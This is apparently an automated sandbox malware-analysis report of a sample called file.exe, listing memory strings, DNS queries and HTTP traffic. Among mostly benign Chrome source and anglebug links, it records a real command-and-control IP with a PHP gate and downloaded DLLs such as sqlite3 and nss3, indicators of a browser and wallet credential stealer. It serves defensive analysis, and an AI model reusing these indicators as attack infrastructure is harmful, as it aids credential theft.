#image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000002.00000003.2277312071.00003BD800318000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2277205865.00003BD80120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2276907645.00003BD800F70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: file.exe, file.exe, 00000000.00000002.2513651548.0000000000C7C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2514950284.000000000154E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2513651548.0000000000D36000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2514950284.00000000015C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2513651548.0000000000D64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2514950284.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php3
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php;
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpAot
Source: file.exe, 00000000.00000002.2514950284.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpBrowser
Source: file.exe, 00000000.00000002.2514950284.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpFirefox
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php_
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpg
Source: file.exe, 00000000.00000002.2513651548.0000000000C7C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2514950284.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpmW
Source: file.exe, 00000000.00000002.2514950284.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpus.wallet
Source: file.exe, 00000000.00000002.2514950284.0000000001593000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpyZ
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/7
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll0
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dllz
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dllb
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll5
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2513651548.0000000000D64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2514950284.00000000015A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dllh
Source: file.exe, 00000000.00000002.2514950284.00000000015C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2513651548.0000000000C7C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206EGH
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 00000002.00000003.2275529537.00003BD800F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2275594786.00003BD800F5C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321316868.000036F402568000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2321416335.000036F402554000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
